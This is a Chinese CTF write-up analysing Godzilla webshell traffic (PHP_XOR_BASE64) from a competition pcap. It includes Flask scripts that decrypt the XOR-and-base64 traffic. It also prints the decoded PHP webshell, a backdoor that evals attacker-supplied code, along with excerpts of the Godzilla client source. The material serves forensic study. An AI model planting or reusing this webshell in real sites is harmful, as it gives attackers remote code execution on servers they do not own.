哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WP

admin 2025年5月27日19:58:47评论5 views字数 10466阅读34分53秒阅读模式

2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛CTF部分WP-哥斯拉流量分析

一、流量分析

题目没有任何提示,附件gzl.pcap

哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WP

解题

哥斯拉流量

300多KB包很多,没啥经验只能挨个看

回来之后又狠狠得撸了一把哥斯拉流量分析

我这里用的是哥斯拉4.0.1

哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WP

00X01测试链接

哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WP
哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WP

测试链接这里发了两个包,我们进行分析

1、第一个请求包

哥斯拉将payload进行了base64编码,并且将编码后的内容做了字符串反转,我们echo进行还原

哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WP
哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WP
<?php// 禁用错误报告和超时限制,避免暴露服务器信息@session_start();          // 开启会话(抑制错误)@set_time_limit(0);        // 取消脚本执行时间限制@error_reporting(0);       // 关闭所有错误提示// 自定义加密/解密函数(异或算法)functionencode($D$K{    for($i 0$i strlen($D); $i++) {        $c $K[$i 1 & 15];  // 循环取密钥字符(密钥长度固定为16)        $D[$i] = $D[$i] ^ $c;  // 对数据逐字符异或加密/解密    }    return $D;}// 配置参数$pass 'key';             // 用于接收POST参数的键名$payloadName 'payload';  // 会话中存储Payload的键名$key '3c6e0b8a9c15224a'// 16字节密钥(异或加密)// 主逻辑:处理客户端请求if(isset($_POST[$pass])) {      // 检查是否存在POST参数`key`    // 解密客户端数据    $data encode(        base64_decode($_POST[$pass]), // 先Base64解码        $key                          // 再用异或解密    );    if(isset($_SESSION[$payloadName])) {         // 从会话中获取Payload并解密        $payload encode($_SESSION[$payloadName], $key);        // 避免重复加密(根据关键字判断)        if(strpos($payload"getBasicsInfo") === false) {            $payload encode($payload$key); // 二次加密(兼容性处理)        }        // 执行Payload(动态代码)        eval($payload); // 关键危险点:执行任意代码        // 生成响应数据        echo substr(md5($pass $key), 016);               // 头部MD5校验        echo base64_encode(encode(@run($data), $key));       // 加密执行结果        echo substr(md5($pass $key), 16);                  // 尾部MD5校验    } else {        // 首次请求:存储Payload到会话        if(strpos($data"getBasicsInfo") !== false) {            $_SESSION[$payloadName] = encode($data$key); // 加密后存储        }    }}
上图可以知道,在PHP一句话木马PHP_EVAL_XOR_BASE64的情况下,哥斯拉4.0.1在测试连接包时会有两个传参分别是一句话设置的密码与在客户端设置的密钥,encode函数使用 异或(XOR)加密,密钥为固定16字节(3c6e0b8a9c15224a
分析源码:PhpEvalXor.java
// XOR加密处理,并构造HTTP请求参数public byte[] E(byte[] cs) {int len = cs.length;// 对每个字节进行循环异或加密for (int i = 0i < len++i) {        cs[i] = (byte)(cs[i] ^ this.key[i + 0xF]);}// 拼接密码参数和Base64编码后的加密数据String param = String.format("%s=%s&", this.pass, this.evalContent)            + this.shell.getSecretKey() + "="+ URLEncoder.encode(functions.base64EncodeToString(cs));    return param.getBytes();}
// 数据加密方法(用于发送数据)@Overridepublic byte[] encode(byte[] data) {try {return this.E(data)// 调用异或加密处理catch (Exception e) {        Log.error(e);        return null;}}
我们来对请求包key部分进行解密,解密逻辑url解码-->base64解码-->再和密钥异或
写个python脚本
from flask import Flask, request, render_template_stringimport base64import gzipapp = Flask(__name__)def XOR(D, K):    """    改进的XOR解密函数,支持与哥斯拉PHP代码一致的解密逻辑    """    result = []    for i in range(len(D)):        c = K[i + 1 & 15]        if not isinstance(D[i], int):            d = ord(D[i])        else:            d = D[i]        result.append(d ^ ord(c))    return b''.join([i.to_bytes(1, byteorder='big'for i in result])def decrypt_data(encrypted_b64, key_str):    """    解密主函数,支持gzip解压    """    try:        # Base64解码        encrypted_data = base64.b64decode(encrypted_b64)        # 执行XOR解密        decrypted = XOR(encrypted_data, key_str)        # 尝试gzip解压        try:            decompressed = gzip.decompress(decrypted)            return decompressed        except:            # 解压失败,返回原始解密数据            return decrypted    except Exception as e:        raise Exception(f"解密失败: {str(e)}")# HTML模板(保持不变)HTML_TEMPLATE = '''<!DOCTYPE html><html><head>    <title>哥斯拉流量解密工具</title>    <style>        body { font-family: Arial, sans-serif; margin: 40px; }        .container { max-width: 800px; margin: auto; }        .form-group { margin-bottom: 15px; }        label { display: block; margin-bottom: 5px; }        input, textarea { width: 100%; padding: 8px; }        .error { color: red; }        .result { white-space: pre-wrap; word-wrap: break-word; }    </style></head><body>    <div class="container">        <h2>哥斯拉流量解密工具</h2>        <form method="POST">            <div class="form-group">                <label>异或密钥(16字符):</label>                <input type="text" name="key" required>            </div>            <div class="form-group">                <label>加密的Base64数据:</label>                <textarea name="encrypted_data" rows="4" required></textarea>            </div>            <input type="submit" value="解密">        </form>        {% if error %}            <div class="error"><strong>错误:</strong> {{ error }}</div>        {% endif %}        {% if result %}            <div class="result">                <h3>解密结果:</h3>                {{ result }}            </div>        {% endif %}    </div></body></html>'''@app.route('/', methods=['GET''POST'])def index():    if request.method == 'POST':        key_str = request.form.get('key''')        encrypted_b64 = request.form.get('encrypted_data''')        # 校验密钥长度        if len(key_str) != 16:            return render_template_string(HTML_TEMPLATE, error="密钥必须为16个字符")        try:            # 解密数据            decrypted_data = decrypt_data(encrypted_b64, key_str)            # 尝试UTF-8解码,失败则返回十六进制            try:                result = decrypted_data.decode('utf-8', errors='strict')            except UnicodeDecodeError:                result = "原始字节(HEX):n" + decrypted_data.hex(' ')            return render_template_string(HTML_TEMPLATE, result=result)        except Exception as e:            return render_template_string(HTML_TEMPLATE, error=str(e))    return render_template_string(HTML_TEMPLATE)if __name__ == '__main__':    app.run(host='0.0.0.0', port=5000, debug=True)
哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WP
2、尝试对第二个请求包解密
解密结果是我们发送的测试请求
哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WP
查看哥斯拉源码,在shellspayloadsphpPhpShell.java,test方法test()函数 是一个布尔型的。测试成功后,会返回true。if函数顺利运行,连接成功

test()的执行过程为:调用evalFunc函数。该函数将数据POST给shell管理端,并获得管理端的响应。

byte[] result = evalFunc(null, "test", parameter); // 获得管理端的响应

将服务器的返回结果格式修改后,与ok对比,判断为ok则连接成功。

@Overridepublic boolean test() {    ReqParameter parameter = new ReqParameter();    byte[] result = this.evalFunc(null, "test"parameter);String codeString = new String(result);    if (codeString.trim().equals("ok")) {this.isAlive = true;        return true;}    Log.error(codeString);    return false;}
3、对返回包进行解密
分析源码PhpEvalXor.java,计算出 md5 (pass + key), 截取该md5后的前16位以及后16位作为响应数据分割标记
@Overridepublic void init(ShellEntity context) {this.shell = context;    this.http = this.shell.getHttp();    this.key = this.shell.getSecretKeyX().getBytes()// 获取异或密钥this.pass = this.shell.getPassword();             // 获取请求密码参数名// 生成响应数据分割标记(MD5哈希分割)String findStrMd5 = functions.md5(this.shell.getSecretKey() + new String(this.key));    this.findStrLeft = findStrMd5.substring(016);    this.findStrRight = findStrMd5.substring(16);    this.evalContent = this.generateEvalContent()// 生成动态eval代码
MD5分割标记中间的数据为响应数据
// 从响应内容中提取加密数据(位于左右标记之间)public String findStr(byte[] respResult) {    String htmlString = new String(respResult);    return functions.subMiddleStr(htmlString, this.findStrLeft, this.findStrRight);}
最后看返回包的相关代码,根据evalFunc可以发现,在数据包发送出去之前,还进行了gzip的压缩(路径 shells/payloads/php/PhpShell.java)。所以要先对数据进行gzipE压缩,然后再解密
@Overridepublic byte[] evalFunc(String classNameString funcNameReqParameter parameter) {this.fillParameter(classNamefuncNameparameter);    byte[] data = parameter.formatEx();    if (this.gzipDecodeMagic == 1) {        data = functions.gzipE(data);}byte[] result = this.http.sendHttpResponse(data).getResult();    if ((this.gzipEncodeMagic == -|| this.gzipEncodeMagic == 1) && functions.isGzipStream(result)) {        result = functions.gzipD(result);}return result;}
那么,解密返回包的流程就是,返回包去掉前后16位,然后gzip解压-->再和密钥异或-->base64解码
我之前搞错了的情况下。跑出来结果是一样的,但是此方法不可取base64解码-->再和密钥异或-->gzip解压
from flask import Flask, request, render_template_stringimport base64import gzipfrom urllib.parse import unquote_plusapp = Flask(__name__)def XOR(D: bytes, K: str) -> bytes:    """标准XOR解密函数(哥斯拉协议逻辑)"""    result = bytearray()    for i in range(len(D)):        key_index = (i + 1) & 15  # 密钥循环索引(16字节固定长度)        result.append(D[i] ^ ord(K[key_index]))    return bytes(result)def decrypt_data(encrypted_b64: str, key: str, is_response: bool = False) -> bytes:    """    解密主函数(支持请求包自动URL解码和响应包去前后16字符)    """    # 1. 请求包自动URL解码    if not is_response:        encrypted_b64 = unquote_plus(encrypted_b64)    # 2. 响应包特殊处理:去除前后各16个字符    if is_response:        if len(encrypted_b64) < 32:            raise ValueError("响应包Base64数据长度不足32字符,无法去除前后16字符")        encrypted_b64 = encrypted_b64[16:-16]    # 3. Base64解码    try:        encrypted_bytes = base64.b64decode(encrypted_b64)    except Exception as e:        raise ValueError(f"Base64解码失败: {str(e)}")    # 4. 异或解密    decrypted_bytes = XOR(encrypted_bytes, key)    # 5. 尝试gzip解压    try:        return gzip.decompress(decrypted_bytes)    except gzip.BadGzipFile:        return decrypted_bytes  # 非压缩数据直接返回# HTML模板(增强说明信息)HTML_TEMPLATE = '''<!DOCTYPE html><html><head>    <title>哥斯拉流量解密工具</title>    <style>        body { font-family'Courier New', monospace; margin20px; }        .container { max-width1000pxmargin: auto; }        .form-group { margin-bottom20px; }        .input-group { display: flex; gap15px; }        textarea { height120pxflex-grow1; }        .result { background#f5f5f5padding15pxborder-radius8pxwhite-space: pre-wrap; }        .hint { color#666font-size0.9emmargin-top5px; }    </style></head><body>    <divclass="container">        <h2>哥斯拉流量解密工具</h2>        <formmethod="POST">            <divclass="input-group">                <divclass="form-group">                    <label>异或密钥(16字符):</label>                    <inputtype="text"name="key"requiredstyle="width: 200px;">                </div>                <divclass="form-group">                    <label>数据包类型:</label>                    <selectname="packet_type">                        <optionvalue="request">请求包(自动URL解码)</option>                        <optionvalue="response">响应包(去前后16字符)</option>                    </select>                </div>            </div>            <divclass="form-group">                <label>加密的Base64数据:</label>                <textareaname="encrypted_data"required></textarea>                <divclass="hint">                    <strong>请求包</strong>: 需包含完整URL编码的Base64数据<br>                    <strong>响应包</strong>: 需包含完整的Base64数据(前后包含填充字符)                </div>            </div>            <buttontype="submit">执行解密</button>        </form>        {% if error %}            <divstyle="color: red; margin: 15px 0;">❌ {{ error }}</div>        {% endif %}        {% if result %}            <divclass="result">                <h3>解密结果:</h3>                <pre>{{ result }}</pre>            </div>        {% endif %}    </div></body></html>'''@app.route('/', methods=['GET', 'POST'])def index():    if request.method == 'POST':        key = request.form.get('key', '').strip()        encrypted_b64 = request.form.get('encrypted_data', '').strip()        packet_type = request.form.get('packet_type', 'request')        # 密钥长度校验        if len(key) != 16:            return render_template_string(HTML_TEMPLATE, error="密钥必须为<strong>16个字符</strong>")        try:            # 处理数据包类型            is_response = (packet_type == 'response')            # 执行解密            decrypted_result = decrypt_data(encrypted_b64, key, is_response)            # 转换为可读格式            try:                result_text = decrypted_result.decode('utf-8', errors='replace')            except Exception:                result_text = f"原始字节(HEX):n{decrypted_result.hex(' ')}"            return render_template_string(HTML_TEMPLATE, result=result_text)        except Exception as e:            return render_template_string(HTML_TEMPLATE, error=str(e))    return render_template_string(HTML_TEMPLATE)if __name__ == '__main__':    app.run(host='0.0.0.0', port=5000, debug=True)
哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WP
我们用python脚本解密返回包
哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WP
OK辣
00X02解题
这道题目比较恶心的就是,包巨多!!
哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WP
一个一个解的
中间一堆空包这里出现了
ag_end 
哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WP
哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WP
哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WP
再往下
哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WP
最后,公众号回复"gzl"获取比赛原题流量包和解密工具

原文始发于微信公众号(瓜神网络安全&分享):哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WP

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月27日19:58:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   哥斯拉流量分析(PHP_XOR_BASE64)-2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛部分WPhttps://cn-sec.com/archives/4102864.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息